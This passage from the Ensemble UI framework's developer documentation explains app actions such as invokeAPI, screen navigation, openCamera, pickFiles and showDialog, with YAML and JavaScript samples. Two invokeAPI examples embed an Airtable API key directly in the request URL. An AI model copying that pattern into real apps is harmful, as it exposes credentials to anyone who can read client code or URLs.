are logged to the console and stored in the `ensemble.storage.contacts`. In the error callback (onError), a message is logged indicating an issue. - -```yaml -- ListView: - id: listView - styles: - expanded: true - item-template: - data: ${ensemble.storage.contacts} - name: contact - template: - UserContact: - inputs: - contact: ${contact} -``` -The `ListView` component displaying a list of contacts (ensemble.storage.contacts). It uses the `UserContact` custom widget template for each item in the list. - -```yaml -UserContact: - inputs: - - contact - styles: { gap: 10 } - onLoad: - getPhoneContactPhoto: - id: contactPhotoId - contactId: ${contact.id} - - # Using JS Code - - # //@code - # ensemble.getPhoneContactPhoto({ - # id: "contactPhotoId", - # contactId: contact.id - # }); - - body: - Column: - styles: { gap: 2 } - children: - - Row: - children: - - Image: - source: ${contactPhotoId.image} - width: 100 - height: 100 - fallback: ImageFallbackWidget - - Column: - styles: { gap: 2, margin: 10 } - children: - - Text: - textStyle: { fontWeight: bold, fontSize: 18 } - text: "${contact.displayName}" - - Text: - textStyle: { fontWeight: bold, fontSize: 18 } - text: "${getPhoneNumber(contact.phones)}" - - Shape: - styles: - height: 10 - - Divider: -``` -The `UserContact` component representing the structure for displaying an individual contact. It includes an `Image` and two `Text` components for displaying the contact's display image, name and phone number. The `getPhoneContactPhoto` action is used to get the contact photo with the contactId. - -```yaml -Global: | - //@code - - if (ensemble.storage.contacts == null) { - ensemble.storage.contacts = []; - } - - function getPhoneNumber(phones) { - if (phones.length > 0) { - return phones[0].number; - } else { - return ""; - } - } -``` -The global code block initializes `ensemble.storage.contacts` as an empty array if it's null. It also includes the `getPhoneNumber` function, which extracts the primary phone number from an array of phone numbers. - ---- - -# invokeAPI - -To check out examples of the invokeAPI action, go to the [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/e546b0d8-3220-4217-bd5c-181118154073). - -## API response object -Both the `onResponse` and `onError` actions provide reference to the API response object. The `response` object has the following propertuies available to you. - -| Property | Type | Description | -| :--------- | :----- | :------------------------------------------------------------------------- | -| statusCode | number | Http status code. See details [here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status) | -| body | String | the actual body of the response. This is where you are mostly interested in. JSON responses are automatically parsed and made available. Other content-types are available as strings. | -| headers | array | Key value pairs of http response headers | -| reasonPhrase | String | Phrase that describes the statusCode. Http response statusCode is a 3 digit number and reasonPhrase describes that number. For example - reasonPhrase for statusCode between 200 and 299 (inclusive) is Successful. More [here](https://www.ibm.com/docs/en/cics-ts/5.5?topic=concepts-status-codes-reason-phrases) | - -## API/invokeAPI properties -| Property | Type | Description | -| :--------- | :----- | :------------------------------------------------------------------------- | -| id | String | Give the API an ID allows you to bind to its result. e.g. ${apiId.body...} | -| name | String | Name of the API defined in the API section | -| inputs | Object | Key value pairs ofinputs to be passed to API definition | -| onResponse | Action | The action to handle the response. This action can access the `response` object. For example - `response.body` or event overwrite the body as `response.body = myJsonObject;` | -| onError | Action | The action to handle errors. Just like onResponse, you have the `response` object available here so you can check `response.statusCode` to see what error was sent by the server and then use `response.body` to access the error response | - -**invokeAPI** is used for calling an API. You can call an API on events such as a button tap or on screen load. First, you have to declare an API: - -```yaml -API: - getPeople: - uri: https://randomuser.me/api/?results=8 - method: GET -``` - -### Usage examples of InvokeAPI - -Now to call the API on screen load, use the `onLoad` property of the view, there are two ways to call invokeAPI as well - -##### 1. Using ensemble invokeAPI action. - - - -````yaml -View: - onLoad: - invokeAPI: - name: getPeople - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Text: - text: ${getPeople.body.results.length} records were retrieved from API - - Markdown: - text: | - Here's the API response body: - ``` - ${getPeople.body} - ``` - -API: - getPeople: - uri: https://randomuser.me/api/?results=8 - method: GET -```` - - - -##### 2. Using JavaScript code block to execute invokeAPI action. - - - -````yaml -View: - onLoad: | - //@code - ensemble.invokeAPI("getPeople"); - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Text: - text: ${getPeople.body.results.length} records were retrieved from API - - Markdown: - text: | - Here's the API response body: - ``` - ${getPeople.body} - ``` - -API: - getPeople: - uri: https://randomuser.me/api/?results=8 - method: GET -```` - - - -- **Its similar to previous only that we are now using Javascript code block**. - -To call an API on button tap, inside the body add a Button with `onTap` property: - - - -```yaml -View: - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Button: - label: Call API - onTap: - invokeAPI: - name: getPeople - - Column: - item-template: - data: ${getPeople.body.results} - name: item - template: - Text: - text: ${item.name.first} - -API: - getPeople: - uri: https://randomuser.me/api/?results=8 - method: GET -``` - - - -## POST calls with input parameters - -You can also create a POST request and pass parameters to the API like this - - - -```yaml -View: - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Button: - label: Call API - onTap: - invokeAPI: - name: createToDo - inputs: - name: "some value" - onResponse: | - //@code - var id = response.body.records[0].id; - postStatus.text = 'Record created: ' + id; - - Text: - id: postStatus - -API: - createToDo: - inputs: - - name - uri: "https://api.airtable.com/v0/appDbkGS4VOiPVQR5/ToDo?api_key=keyyWz426zsnMKavb" - method: "POST" - body: - records: - - fields: - desc: "${name}" -``` - - - -## Handing errors - -To handle Errors, you can use the `onError` property: - - - -```yaml - - Text: - text: Handle error - - Button: - label: Call API - onTap: - invokeAPI: - name: createToDoError - onResponse: | - //@code - apiStatus.text = 'Call was successful'; - //you have the response object available here so you access its properties. See top of the page for response object - console.log(response.body);//this will print out the full body of the response object. See above for all the properties of a response object - onError: | - //@code - apiStatus.text = 'API returned an error'; - //you have the response object available here so you access its properties. See top of the page for response object - console.log(response.statusCode);//this will print out the http status code of the response object. See above for all the properties of a response object - - Text: - id: apiStatus - -API: - createToDoError: - inputs: - - name - uri: 'https://api.airtable.com/v0/appDbkGS4VOiPVQR5/ToDo?api_key=keyyWz426zsnMKavb' - method: 'POST' - body: - records: "this is not what the API expects" -``` - - - -## Use in code - -You can also call an API in code block. - - - -```yaml - - Button: - label: Call API - onTap: - executeCode: - body: | - //@code - - // no inputs - ensemble.invokeAPI("getNewYorkTime"); - - Text: - visible: ${getNewYorkTime.body != null} - text: Current time in NYC is ${getNewYorkTime.body.datetime} - -API: - getNewYorkTime: - uri: https://worldtimeapi.org/api/timezone/America/New_York - method: GET -``` - - - -## Properties for invokeAPI - -| Property | Type | Description | -| :--------- | :----- | :------------------------------------------------------------------------- | -| id | String | Give the API an ID allows you to bind to its result. e.g. ${apiId.body...} | -| name | String | Name of the API defined in the API section | -| inputs | Object | Key value pairs ofinputs to be passed to API definition | -| onResponse | Action | The action to handle the response | -| onError | Action | The action to handle errors | - -Details about API [here](/pages/build/user-interface/1-page-structure.md) - ---- - -# invokeHaptic - -invokeHaptic action allows users to play haptics on the device allowing better UX. It supports 5 haptics namely heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate. They are listed in decreasing order of intensity -and vibrate does a short vibrate pulse. It also supports playing haptic by JavaScript code and also has additional parameters like onTapHaptic or onChangeHaptic added to multiple widgets where haptic would be required. - -### Properties - -| Property | Type | Description | -| :-------- | :----- | :------------------------------------------------------- | -| type | enum | The type of haptic to perform. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | -| onComplete| action | Execute another Action post executing the haptic | - -**Example** - - - -```yaml -View: - header: - title: Haptic - Column: - styles: { gap: 16, padding: 24 } - children: - - Button: - label: Using Action - onTap: - invokeHaptic: - type: lightImpact - onComplete: | - //@code - console.log("Haptic completed") - - Button: - label: Using JavaScript - onTap: | - //@code - invokeHaptic({type: lightImpact}) - - Button: - label: Using methods - onTapHaptic: lightImpact - onTap: | - //@code - console.log("Button Press") -``` - ---- - -# navigateBack - -`navigateBack` action allows users to go back to the previous screen or page within the app's navigation stack, enhancing user experience and facilitating smooth app navigation. Navigating back to the previous screen if possible. The current screen will be removed from the navigation history. This also works for a modal screen. - -**Example** - -Using navigateBack is straight forward. In ensemble when you visit a screen using [navigateScreen]() by default there is a back button in the header ( if there is a header ). Otherwise you can also associate navigateBack action with either a custom button or icon as you wish. - - - -```yaml -View: - title: "Action: navigateBack" - styles: - scrollableView: true - - Column: - styles: { gap: 16, padding: 24 } - children: - - Markdown: - text: You can open a new screen above the current one and use "navigateScreen" to navigate back to this main screen. - - Button: - label: Show Detail Page - onTap: - navigateModalScreen: - name: "Action: navigateBackModal" -``` - - - -can see complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/XjvL2XseLnRvYO4FS82e?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - ---- - -# navigateModalScreen - -navigateModalScreen action enables users to open a specific screen or page as a modal overlay, creating a temporary and focused view to capture user input or display additional content without losing context of the main app flow. - -### Properties - -| Property | Type | Description | -| :------------- | :----- | :------------------------------------------------------- | -| name | string | Enter the Name or ID of your screen | -| inputs | object | Specify the key/value pairs to pass into the next Screen | -| onModalDismiss | action | Execute an Action when the modal screen is dismissed | - -**Note:** To close the modal from within the modal screen, just call the [navigateBack](7-navigateBack.md) action - -**Example** - - - -```yaml -View: - title: "Action: navigateModalScreen" - styles: - scrollableView: true - - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Markdown: - text: You can open new screen on above the main screen using action `navigateModalScreen` - - Button: - label: Show Modal - onTap: - navigateModalScreen: - name: Actions & events - - Markdown: - text: You can navigateModalScreen from code blocks using `ensemble.navigateModalScreen('ScreenName');`. - - Button: - label: Show Modal Using Code - onTap: - executeCode: - body: | - //@code - - // no inputs - ensemble.navigateModalScreen('Actions & events'); - //with inputs - //ensemble.navigateModalScreen({name: 'Actions & events',inputs:{input1: 'abc', input2: 'ced'}} ); -``` - - - -You can try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/67ICgJIX0McKswXCybb0?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - ---- - -# navigateScreen - -navigateScreen action allows users to transition to a specific screen or page within the app, facilitating seamless navigation and enhancing user interaction with different sections of the application. - -Like any other action, navigateScreen may be called in YAML or in the JS code. - -### Properties - -| Property | Type | Description | -| :------------- | :----- | :-------------------------------------------------------------------------------------- | -| name | string | Enter the Name or ID of your Screen | -| inputs | object | Specify the key/value pairs to pass into the next Screen | -| options | object | [see properties]() | -| onNavigateBack | action | triggers when users returns back to a screen it previously visited using navigateScreen | -| transition | Map | [Screen transition](#screen-transition) , [Screen transition example](#screen-transition-example) - -#### Screen Transition -Animate screen transition from one to another. - -| Property | Type | Description | -| :--- | :--- | :---| -| type | string | [transition type](#transition-type) -| alignment | string | [transition alignment](#transition-alignment) -| duration | integer| duration of transition in millisecond - -#### transition-type -| name | -| :--- | -|fade | -|rightToLeft | -|leftToRight | -|topToBottom | -|bottomToTop | -|scale | -|rotate | -|size | -|rightToLeftWithFade | -|leftToRightWithFade | -|leftToRightPop | -|rightToLeftPop | -|topToBottomPop | -|bottomToTopPop | - -#### transition-alignment -|name| -|:---| -|topLeft| -|topCenter| -|topRight| -|centerLeft| -|center| -|centerRight| -|bottomLeft| -|bottomCenter| -|bottomRight| - -#### properties.options - -| Property | Type | Description | -| :------------------- | :------ | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| replaceCurrentScreen | boolean | If true, the new screen will replace the current screen on the navigation history. Navigating back from the new screen will skip the current screen. | -| clearAllScreens | boolean | If true, clear out all existing screens in the navigation history. This is useful when navigating to a Logout or similar page where users should not be able to go back to the prior screens. | - -**Example: Calling navigateScreen - Detailed Examples for YAML and JS** - - - -```yaml -View: - title: "Action: navigateScreen" - styles: - scrollableView: true - - Column: - styles: { gap: 16, padding: 24 } - children: - - Markdown: - text: You can navigate to another screen using action `navigateScreen` - - Button: - label: Navigate to Home - onTap: - navigateScreen: - name: Home - - - Markdown: - text: You can navigateScreen from code blocks using `ensemble.navigateScreen('ScreenName');`. - - Button: - label: Navigate to Home using code - onTap: - executeCode: - body: | - //@code - ensemble.navigateScreen('Home'); - - - Divider - - - Markdown: - text: | - #### Pass inputs - You have the option of passing inputs to the target screen. - - - TextInput: - id: messageInput - label: Message to pass - value: Hello there - - - Button: - label: Navigate and pass inputs - onTap: - navigateScreen: - name: "Action: navigateScreen inputs demo" - inputs: - message: ${messageInput.value} - - - Button: - label: Navigate and pass inputs using code - onTap: - executeCode: - body: | - //@code - ensemble.navigateScreen({ - "name": "Action: navigateScreen inputs demo", - "inputs": { - "message": messageInput.value - } - }); - - - Divider - - - Markdown: - text: | - #### options: clearAllScreens - By default, Ensemble retains your previous screens. On browser, user can press back button and get the previous view. - - When you need to remove all the previous screens from the history stack, as in a logout scenario, use `clearAllScreens: true`. - - - Button: - label: Navigate and clear all screen history - onTap: - navigateScreen: - name: Home - options: - clearAllScreens: true - - - Divider - - - Markdown: - text: | - #### options: replaceCurrentScreen - Sometimes when navigating to a new screen, you may not want the user to go back to the current screen. An example is after logging in, hitting back should not take the user back to the login screen. Use the flag `replaceCurrentScreen: true` to remove the current screen from the history stack. - - - Button: - label: Navigate to new screen and replace the current screen - onTap: - navigateScreen: - name: Home - options: - replaceCurrentScreen: true -``` - - - -You can try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/kgGUzKx0YiIWp96auaEO?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - -**Example: Calling navigateScreen in Javascript** - -```javascript -//navigating to a screen without any options -ensemble.navigateScreen('My Screen'); -//navigating to a screen with options -ensemble.navigateScreen({name: 'My Screen',options: {replaceCurrentScreen: true}} -``` - -### onNavigateBack - -We can also make use of onNavigateBack in our navigateScreen action to achieve certain goals like calling an API when returning to screen, updating something which was modified on visited screen etc. - -**Example** -Below is only a snippet from a use case where we can perform any action inside the onNavigateBack event. We can call an API or update any particular parameter we want - -```yaml -navigateScreen: - name: "${booking.completion_status == 'confirmed' ? 'ConfirmedTrip' : 'ConfirmTripRequest'}" - inputs: - booking: ${booking} - onNavigateBack: |- - ensemble.debug("got back") -``` - -Another example where using in context of a button we are updating certain local storage items inside the context of the onNavigateBack - -```yaml -- Button: - label: Categories - styles: - outline: true - padding: 0 - labelStyle: - fontSize: 12 - color: 4288060321 - endingIcon: - name: chevron_right - color: 4288060321 - size: 16 - onTap: null - navigateScreen: - name: Spending - onNavigateBack: |- - //@code - getCategoriesAggregate(ensemble.storage.timeSpan); - -``` - -Note: here we are chaining actions onTap -> navigateScreen -> onNavigateBack etc. Also getCategories(...) is a function used to update certain local storage items. - -- We can also pass data from the visited screen to current screen using navigateBack action. let see an example for that as well. - -```yaml -View: - header: - title: Home - body: - Button: - label: Checkout Ensemble Kitchen Sink - onTap: - navigateBack: - data: # optional, can be simple or complex - var1: 1 - var2: "s t r i n g" -``` - -on visited screen using navigateBack we pass certain variables which can be accessed on previous screen using onNavigateBack event. - -```yaml -View: - header: - title: Home - body: - Button: - label: Checkout Ensemble Kitchen Sink - onTap: - navigateScreen: - name: nextScreen - onNavigateBack: |- - //@code - console.log("navigated back to main screen"); - console.log(event.data); -``` - -#### Screen Transition Example - -```yaml -View: - header: - title: Screen Transition - - body: - Button: - label: Navigate transition - onTap: - navigateScreen: - name: - transition: - type: rotate - duration: 1000 - alignment: center -``` - ---- - -# notification - -notifications action provides a comprehensive and customizable solution for managing notifications within the app, including handling incoming notifications, displaying them to users, and implementing notification-related functionalities, enhancing user experience and interaction with timely updates and alerts. - -### Properties - -| Property | Type | Description | -| :-------- | :----- | :-------------------------------------------- | -| onTap | action | Execute an Action on notification is tap. | -| onReceive | action | Execute an Action on notification is receive. | - ---- - -# openCamera - -`OpenCamera` action enables users to access their device's camera, capturing images or videos directly from the app, enhancing interactivity and enabling seamless integration of media functionalities within the application. With `id` property we can bind results of camera. Then use the `onComplete` properties to execute other actions after capture or selection is done. - -### Properties - -| Property | Type | Description | -| :--------- | :----- | :--------------------------------------------------------------------------------- | -| id | string | Give the camera an ID, allows you to bind to its result. e.g. ${cameraId.files...} | -| onComplete | action | Execute an Action after completing capturing media | -| onClose | action | Execute an Action on camera close | -| onCapture | action | Execute an Action on each capture | -| options | object | different options to chose for `openCamera` action. [see properties](#) | - -#### properties.options - -| Property | Type | Description | -| :---------------------- | :------ | :----------------------------------------------------------------------------------------------------------------------------- | -| mode | string | Modes of camera. It can be photo only i.e allows to capture just photo. Similarly video or can be both. `photo` `video` `both` | -| initialCamera | string | Initialize either camera, back or front. `back` `front` | -| allowGalleryPicker | boolean | Allow users to pick media from gallery. Default (true). | -| allowCameraRotate | boolean | Allow users rotate camera i.e back and front. Default (true). | -| allowFlashControl | boolean | Allow users to control flash options. Default (true). | -| preview | boolean | If set true, users can view captured/selected media. | -| maxCount | number | It used to control number of media that can be captured/selected | -| maxCountMessage | string | Custom message to show when captured/selected media is greater than maxCount | -| minCount | number | It used to control number of media that can be captured/selected | -| minCountMessage | string | Custom message to show when captured/selected media is greater than minCount | -| permissionDeniedMessage | string | Set custom message when access to camera is denied | -| nextButtonLabel | string | Set custom label on next button. | -| cameraRotateIcon | widget | Set custom icon for camera rotate button. [see here](#icon-widget) | -| galleryPickerIcon | widget | Set custom icon for gallery picker button. [see here](#icon-widget) | -| focusIcon | widget | Set custom icon for focus node. | -| assistAngle | object | Show assist message whenever angle goes below minAngle or above minAngle. [see properties](#values-for-optionsassistangle) | -| assistSpeed | object | Show assist message whenever camera is moving faster than maxSpeed. [see properties](#values-for-optionsassistspeed) | -| autoCaptureInterval | integer | If set any number n, on each n interval camera will capture | - -##### Values for options.assistAngle - -| Property | Type | Description | -| :------------------------- | :----- | :-------------------------------------------- | -| minAngle | number | Minimum angle | -| maxAngle | number | Maximum Angle | -| maxAngleassistAngleMessage | number | Custom message to show when condition is hit. | - -##### Values for options.assistSpeed - -| Property | Type | Description | -| :----------------- | :----- | :-------------------------------------------- | -| maxSpeed | number | Maximum speed in km/hr. | -| assistSpeedMessage | number | Custom message to show when condition is hit. | - -**Usage Examples** - - - -```yaml -View: - header: - title: "Action: openCamera" - styles: - scrollableView: true - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Button: - label: Open Camera - onTap: - openCamera: - id: cameraId - - options: - mode: photo - - - Conditional: - conditions: - - if: ${cameraId.files.length > 0} - Carousel: - item-template: - data: ${cameraId.files} - name: file - template: - Image: - source: ${file.path} -``` - - - -`openCamera` also comes with options - - - -```yaml -- Button: - label: Camera with options - onTap: - openCamera: - id: cameraId1 - options: - allowGalleryPicker: true - allowCameraRotate: true - allowFlashControl: true - preview: true - maxCount: 2 - mode: photo - -- Conditional: - conditions: - - if: ${cameraId1.files.length > 0} - Carousel: - item-template: - data: ${cameraId1.files} - name: file - template: - Image: - source: ${file.path} -``` - - - -`openCamera` also comes with advance options - -- assistAngle, show message when phone angle goes below min angle or goes beyond max angle. -- assistSpeed, show message when phone goes beyond max speed. -- minCount/maxCount, type is a number and can also be set to `minCount: ${ensemble.storage.xyz}` to get a dynamic value - - - -```yaml -- Button: - label: Camera with advance options. - onTap: - openCamera: - options: - allowGalleryPicker: true - allowCameraRotate: true - allowFlashControl: true - preview: true - - assistAngle: - minAngle: 80 - maxAngle: 100 - assistAngleMessage: Please try to keep angle approx. 90 degree. - - assistSpeed: - maxSpeed: 10 - assistSpeedMessage: Please try to speed below 10 km/hr. -``` - - - -You can capture and upload to specified API - - - -```yaml - - Button: - label: Capture and upload - onTap: - openCamera: - id: captureMedia - onComplete: - uploadFiles: - id: uploader - files: ${captureMedia.files} - uploadApi: fileUploadApi - fieldName: files - inputs: - url: - - - - Markdown: - text: ${uploader.body} - -API: - fileUploadApi: - inputs: - - url - uri: ${url} - method: POST -``` - - - -To learn more about openCamera functionalities, test it out here in [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/USuOaOZApSgzE2uVrqlv) app. - ---- - -# pickFiles - -pickFiles action enables users to select files from their device for further processing or usage within the app, offering a seamless way to choose and work with files, enhancing user interactions and content management capabilities. - -### Properties - -| Property | Type | Description | -| :---------------- | :------ | :--------------------------------------------------------------------------------------------------------------- | -| id | string | Give the picker an ID allows you to bind to its result, which can be access anywhere e.g. ${filePicker.files...} | -| allowMultiple | boolean | Allow users to pick multiple files (default False) | -| allowCompression | boolean | It will allow media to apply the default OS compression (default True) | -| allowedExtensions | array | Allow files with specific extension e.g jpg, png, pdf | - - -### Ensemble File object -The files picked using `pickFiles` or created using camera using `openCamera` all shared the same following object. - - -| Property | Type | Description | -|:---|:---|:---| -| name | string | name of the file, could be null | -| size | integer | size of file in bytes, could be null | -| ext | string | extension of the file, could be null | -| path | string | file path, null on web, available in native mobile app | -| bytes | dynamic | if path is null i.e for web, we'll have bytes of files | - -> [NOTE] -> Path will be null when you are developing in the web studio. You'll have the path in your native mobile build or ensemble preview / go app. - - -**Example** - - - -```yaml -View: - # Optional - style the screen - styles: - scrollableView: true - - # Specify the body of the screen - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Markdown: - text: | - Use the `uploadFiles` action upload files to specify `uploadApi`. - - Then use the `onComplete` properties to execute other actions when upload is successful. - - - Button: - label: Pick Files - onTap: - pickFiles: - id: picker - - - Button: - label: Upload Picked files - onTap: - executeCode: - body: | - //@code - loading.visible = true; - - onComplete: - uploadFiles: - id: fileUploader - files: ${picker.files} - uploadApi: fileUploadApi - inputs: - url: https://en09cdal5asztm.x.pipedream.net - onComplete: | - //@code - loading.visible = false; - onError: | - //@code - - loading.visible = false; - maxFileSize: 100 - overMaxFileSizeMessage: Please select files less than 100kb - - - Markdown: - text: ${fileUploader.body} - - - Progress: - display: circular - id: loading - visible: false - - - Divider - - - Markdown: - text: | - Chain multiple file actions to pick files and upload them in one go - - Using `pickFiles` to pick file based on platform picker - - Using `uploadFiles` to upload selected files from file picker - - - Button: - label: Pick & Upload - onTap: - pickFiles: - id: filePicker - onComplete: - uploadFiles: - files: ${filePicker.files} - uploadApi: fileUploadApi - inputs: - url: https://en09cdal5asztm.x.pipedream.net - onComplete: | - //@code - ensemble.debug('File uploaded'); - - - Divider: - - - Markdown: - text: | - `pickFiles` also comes with option such as: - - - `allowMultiple` : To allow muliple file selection from gallery picker default (false) - - `allowCompression` : It will allow media to apply the default OS compression (default True) - - `allowedExtensions` : To filter file picking based on extensions like jpg, png, pdf... - - `uploadFiles` also comes with option such as: - - - `files` : Pass the files that needs to upload e.g ${filePicker.files} - - - `fieldName` : Field name that your server is expecting. (default files). - - - `maxFileSize`: File size that is allowed in kb (default 100 mb), If multiple is allow then sum of all files - - `overMaxFileSizeMessage`: Error message to show when selected files size is above maxFileSize. - - - Row: - styles: { mainAxis: spaceBetween, crossAxis: center } - children: - - Button: - label: Multiple Images - onTap: - pickFiles: - id: images - allowMultiple: true - allowCompression: false - allowedExtensions: - - jpg - - png - - - Text: - text: ${images.files.length} - - Button: - label: Upload Multiple images - onTap: - uploadFiles: - id: imageUploader - uploadApi: fileUploadApi - files: ${images.files} - fieldName: files - inputs: - url: https://en09cdal5asztm.x.pipedream.net - maxFileSize: 100 # in kb - overMaxFileSizeMessage: Please select files less than 100kb - - - Markdown: - text: ${imageUploader.body} - - Divider - - - Markdown: - text: | - ### Background file upload - - Pick and Upload files in background. - - In unmetered connection (wifi/lan) - - Also show notification - - *Not supported on web / studio. - - - Button: - label: Background upload - onTap: - pickFiles: - id: bgFilePicker - onComplete: - uploadFiles: - uploadApi: fileUploadApi - files: ${bgFilePicker.files} - inputs: - url: https://en09cdal5asztm.x.pipedream.net - id: bgUploader - options: - backgroundTask: true - showNotification: true - networkType: unmetered - - - Divider: - - - Markdown: - text: | - _Side Note: If you are using default uploadURL it's using RequestBin_ - - _RequestBin has maxFileSize of __100 kb__ above it will fail._ - - _You can see you API request [here](https://requestbin.com/r/en09cdal5asztm/2Lzx3lZ071EFF9dFKZCXJTnkJHS)_ - - - Divider: - -API: - fileUploadApi: - inputs: - - url - uri: ${url} - method: POST -``` - - - -complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/mvFbwP5K5yvAqTlncTga?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) including uploadFiles example. - ---- - -# rateApp - -The "Rate Us" functionality is available only for iOS devices when the app is in production. - -```yaml -View: - header: - title: 'Action: RateApp' - - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Text: - text: Works only for iOS when app is in production (will not work for Ensemble Go while on TestFlight) - - Button: - label: Rate Us - onTap: - rateApp: -``` -The rateApp action is triggered when the "Rate Us" button is tapped. It is to handle the logic for prompting users to rate the app. - ---- - -# requestNotificationAccess - -requestNotificationAccess action prompts users to grant permission for the app to send notifications to their device, enabling personalized alerts and updates, enhancing user engagement, and ensuring timely delivery of relevant information within the application. - -### Properties - -| Property | Type | Description | -| :------- | :----- | :--------------------------------------------------------------- | -| onAccept | action | Execute an Action when notification permission has been granted | -| onReject | action | Execute an Action when notification permission has been rejected | - -**Example** - -The first important thing to consider while implementing notifications is to make sure that its authorized by user itself. Thus first step is to ensure complete access to ensemble. let us see how it works - - - -```yaml -View: - header: - title: "Action: showNotification" - - # Specify the body of the screen - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Text: - text: Hi there! - - Button: - label: Checkout Ensemble Kitchen Sink - onTap: - requestNotificationAccess: - onAccept: - showNotification: - title: A Notification - body: As you can see me working here -``` - - - -When user clicks on button browser pop-up asks for permission and as you allow it notification can be seen at bottom-right corner of screen. You can refer complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/NiF1zG2VKspdlxNM2F1n?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true). - -**Output** - -![Alt text](public/images/actions/image-.png) - -![Alt text](public/images/actions/image--2.png) - ---- - -# Share - -Using the native sharing capabilities of the device to provide users with the ability to share a specific piece of content. - -```yaml - - Button: - label: Open Share Sheet - onTap: - share: - title: EnsembleUI - text: https://ensembleui.com/ - - Text: - text: Works only on Native iOS and Android -``` -The share action is triggered when the "Open Share Sheet" button is tapped. It typically opens the native share sheet on the device, allowing users to share content. In this case, it shares a title ("EnsembleUI") and a URL ("https://ensembleui.com/"). - ---- - -# showDialog - -showDialog action triggers the display of a modal dialog box within the app, presenting users with important information, notifications, or customizable content while pausing the main app flow, ensuring clear and focused communication with users. - -### Properties - -| Property | Type | Description | -| :-------------- | :----- | :------------------------------------------------------------------------------ | -| widget | widget | Return an inline widget or specify a custom widget's name to use in the dialog. | -| options | object | [see properties](#propertiesoptions) | -| onDialogDismiss | action | Execute an Action when the dialog is dismissed. | - -#### properties.options - -| Property | Type | Description | -| :--------------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| minWidth | integer | | -| maxWidth | integer | | -| minHeight | integer | | -| horizontalOffset | number | Offset the dialog's position horizontally, with -1.0 for the screen's left and 1.0 for the screen's right. (default is 0 for centering horizontally) minimum `-1.0` and maximum `1.0` | -| verticalOffset | number | Offset the dialog's position vertically, with -1.0 for the screen's top and 1.0 for the screen's bottom. (default is 0 for centering vertically) minimum `-1.0` and maximum `1.0` | -| style | string | Render the dialog with a default style. You can also specify 'none' and control your own styles in your widget. `default` `none` | - -**Example** - -Here we are gonna see how we can - - - -```yaml -View: - header: - title: Dialog - onLoad: - showDialog: - widget: MyStartingDialog - - body: - Column: - styles: { margin: 10, gap: 5 } - children: - # use inline widget - - Text: - text: Your dialog can also be an inline widget - - Button: - label: Show Dialog - onTap: - showDialog: - widget: - Text: - text: This dialog declares the widget inline and uses the default style. - - - Spacer: - styles: - size: 20 - - # use custom styling - - Text: - text: You can customize the dialog style - - Button: - label: Show Custom Dialog - onTap: - showDialog: - widget: MyCustomDialog - options: - # no default style - zero margin/padding, no background color - style: none - # move it up half way between the top and the center of the screen - verticalOffset: -0.5 - -# Custom Widget -MyStartingDialog: - body: - Column: - styles: - gap: 10 - children: - - Text: - text: Welcome to Ensemble - styles: - fontSize: 16 - fontWeight: bold - - Text: - text: This dialog pops up when the user first visits the page. - - Button: - label: Close dialog - onTap: closeAllDialogs - -MyCustomDialog: - body: - Column: - styles: - gap: 10 - backgroundColor: 0xffD7BFA8 - borderRadius: 10 - margin: 20 - padding: 20 - children: - - Text: - text: |- - This dialog set its own margin/padding and background color. - - It also offset the dialog position vertically. -``` - -Try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/HRIajN2i8bDDVTL32j8m?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - - - -**Output** - -![Alt text](public/images/actions/image--4.png) - -![Alt text](public/images/actions/image--5.png) - -**Example with inputs** - -We can also make use of inputs property for `showDialog` action to pass any input parameters to be used with dialog. Lets look at the previous example but this time with some input values. - -```yaml -View: - header: - title: Dialog - onLoad: - showDialog: - widget: MyStartingDialog - body: - Column: - styles: { margin: 10, gap: 5 } - children: - - Text: - text: You can customize the dialog style and provide inputs as well - - Button: - label: Show Custom Dialog - onTap: - showDialog: - widget: - MyCustomDialog: - inputs: - name: Peter - options: - # no default style - zero margin/padding, no background color - style: none - # move it up half way between the top and the center of the screen - verticalOffset: -0.5 - - onDialogDismiss: | - //@code - console.log("dialog dismissed"); - -MyCustomDialog: - inputs: - - name - body: - Column: - styles: - gap: 10 - backgroundColor: 0xffD7BFA8 - borderRadius: 10 - margin: 20 - padding: 20 - children: - - Text: - text: |- - Hi ${name} - This dialog set its own margin/padding and background color. - - It also offset the dialog position vertically. -``` - -**Explanation** - -- In the code for showDialog we are passing an input `name` with value `Peter` which can be seen clearly in the output. - -**Output** - -![Alt text](public/images/actions/image--1.png) - -![Alt text](public/images/actions/image--3.png) - ---- - -# showNotification - -showNotification action triggers the display of local notifications within the app, notifying users of important events or information even when the app is in the background or closed, enhancing user engagement and ensuring timely communication with users. - -### Properties - -| Property | Type | Description | -| :------- | 